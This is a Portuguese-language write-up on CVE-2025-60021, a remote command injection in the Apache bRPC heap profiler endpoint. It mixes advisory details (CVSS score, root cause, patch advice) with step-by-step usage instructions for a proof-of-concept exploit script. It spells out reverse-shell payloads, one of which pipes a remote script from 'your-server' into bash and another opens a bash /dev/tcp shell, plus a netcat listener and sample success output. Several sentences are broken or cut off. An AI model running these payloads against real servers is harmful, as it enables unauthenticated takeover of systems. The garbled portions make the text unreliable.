
CVE-2025-60021

CVE-2025-60021 é uma vulnerabilidade crítica de injeção remota de comandos encontrada no serviço embutido de heap profiler (/pprof/heap) do Apache bRPC em versões anteriores a 1.15.0, permitindo que atacantes não autenticados executem comandos arbitrários do sistema operacional. (NVD)
| Atributo | Informação |
|---|
| Nome / ID | CVE-2025-60021 |
| Produto | Apache bRPC (todas as plataformas) |
| Versões Afetadas | < 1.15.0 |
| Data de Publicação | 16 de jan. de 2026 (NVD) |
| Tipo de Vulnerabilidade | Injeção Remota de Comandos (CWE-77) (NVD) |
| Endpoint | /pprof/heap |
| Gatilho | Parâmetro extra_options não sanitizado |
| Causa Raiz | Entrada não validada antes da execução como comando do SO (openwall.com) |
❗Atacantes podem injetar comandos remotamente simplesmente manipulando este parâmetro de perfil.
🔥 Classificação de Severidade: Crítica
📊 Pontuação Base CVSS v3.1: 9.8 / 10
Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
| Categoria de Impacto | Efeito | |
|---|---|---|
| Confidencialidade | Alto | |
| Integridade | Alto | |
| Disponibilidade | Alto | |
| Vetor de Ataque | Rede | |
| Privilégios | Nenhum necessário | |
| Interação do Usuário | Nenhuma necessária | (INCIBE) |
👉 Isso significa que atacantes podem executar comandos arbitrários remotamente sem login — um cenário de pior caso para serviços expostos.
/pprof/heap) destinado à análise de memória (jemalloc). (openwall.com)extra_options. Em vez de sanitizá-lo, o bRPC o passa diretamente para o shell do SO. (openwall.com)Isso pressupõe que você tenha o script salvo como CVE-2025-60021.py (embora o CVE real seja 2025-60021 — fique à vontade para renomeá-lo). É um script Python 3 para demonstrar a vulnerabilidade de injeção remota de comandos no heap profiler do Apache bRPC. Execute apenas em sistemas que você possui ou para os quais tem permissão explícita por escrito para testar — explorar sem autorização é ilegal.
Ambiente Python: garanta que você tenha Python 3 instalado (ex.: 3.6+). O script usa módulos nativos além de requests e argparse (que são padrão ou fáceis de instalar).
Instalar Dependências: se ainda não estiver presente, instale a biblioteca requests:
pip install requests
Configuração do Alvo: você precisa de um servidor Apache bRPC vulnerável:
http://localhost:8060 ou um IP/porta remoto).
Se for testar localmente, configure uma instância bRPC vulnerável (ex.: via Docker ou compilação a partir do código-fonte — consulte a documentação do Apache bRPC).Permissões: execute com sudo somente se necessário para acesso à rede ou privilégios; caso contrário, apenas python3 já basta.
Copie o código PoC que forneci anteriormente para um arquivo chamado CVE-2025-60021.py. Torne-o executável, se desejar:
chmod +x CVE-2025-60021.py
O script aceita dois argumentos posicionais obrigatórios:
target: A URL do servidor bRPC vulnerável (ex.: http://192.168.1.100:8060 ou http://targets:8060 — corrija erros de digitação, como esquema ausente ou host inválido).cmd: O comando a ser executado no alvo (ex.: "id" para informações do usuário, ou algo mais complexo como "curl http://your-server/reverse-shell.sh | bash" para um reverse shell). Use && ou ; para encadear vários comandos.Abra um terminal (ex.: no Kali Linux, como você está usando) e execute-o com seu alvo e comando. Exemplos de comandos:
Teste básico (obter informações do sistema):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Exemplo de reverse shell (substitua your-listener-ip e a porta; primeiro configure um listener como nc -lvnp 4444):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Se estiver usando HTTPS ou uma porta diferente, ajuste a URL de acordo (ex.: https://target:443 — o script lida com isso, mas adicione --insecure se houver problemas de certificado).
Indicadores de Sucesso:
uid=0(root)... se ele executou id).Indicadores de Falha (como o que você viu):
--enable_heap_profiler=true) e reinicie o servidor.cmd — sempre inclua-o.echo "test" > /tmp/proof.txt) e verifique o arquivo no alvo.; não funcionar, tente && ou | para encadear. Codifique caracteres especiais na URL, se necessário (o script lida com a maioria)./pprof/heap.Se o exploit for bem-sucedido em um alvo vulnerável (ex.: heap profiler habilitado, bRPC sem patch <1.15.0), a saída no seu terminal será algo assim (os detalhes exatos dependem do stdout do comando e da configuração do servidor):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
Os principais sinais: status 200 OK e, se seu comando (como id && whoami && uname -a) produzir saída, ela pode aparecer no corpo da resposta (misturada com lixo do profiler). Para comandos silenciosos (ex.: reverse shell), verifique o servidor alvo ou seu listener para atividade — não há confirmação direta no terminal além do 200. 😈
/pprof/heap a partir de redes não confiáveis.✔ Atacantes não precisam de credenciais. ✔ Funciona pela rede. ✔ Afeta todas as plataformas que usam bRPC vulnerável. ✔ Pode levar ao comprometimento total do sistema.
Empresas que usam bRPC para serviços críticos (ex.: busca, armazenamento, pipelines de machine learning) estão especialmente em risco porque essa falha transforma uma ferramenta de diagnóstico em um vetor de ataque. (Daily CyberSecurity)
⚠ EPSS (Predictive Exploit Scoring): alguns feeds indicam baixa observação de exploração até agora, mas a facilidade de exploração significa que ela pode ser aproveitada rapidamente em ataques reais. (Tenable®)
📌 Classificação: CWE-77 — Neutralização Incorreta de Elementos Especiais em um Comando (Injeção de Comandos). (NVD)
Se você está executando o Apache bRPC em produção — aplique o patch imediatamente e restrinja o acesso aos endpoints de diagnóstico para reduzir o risco.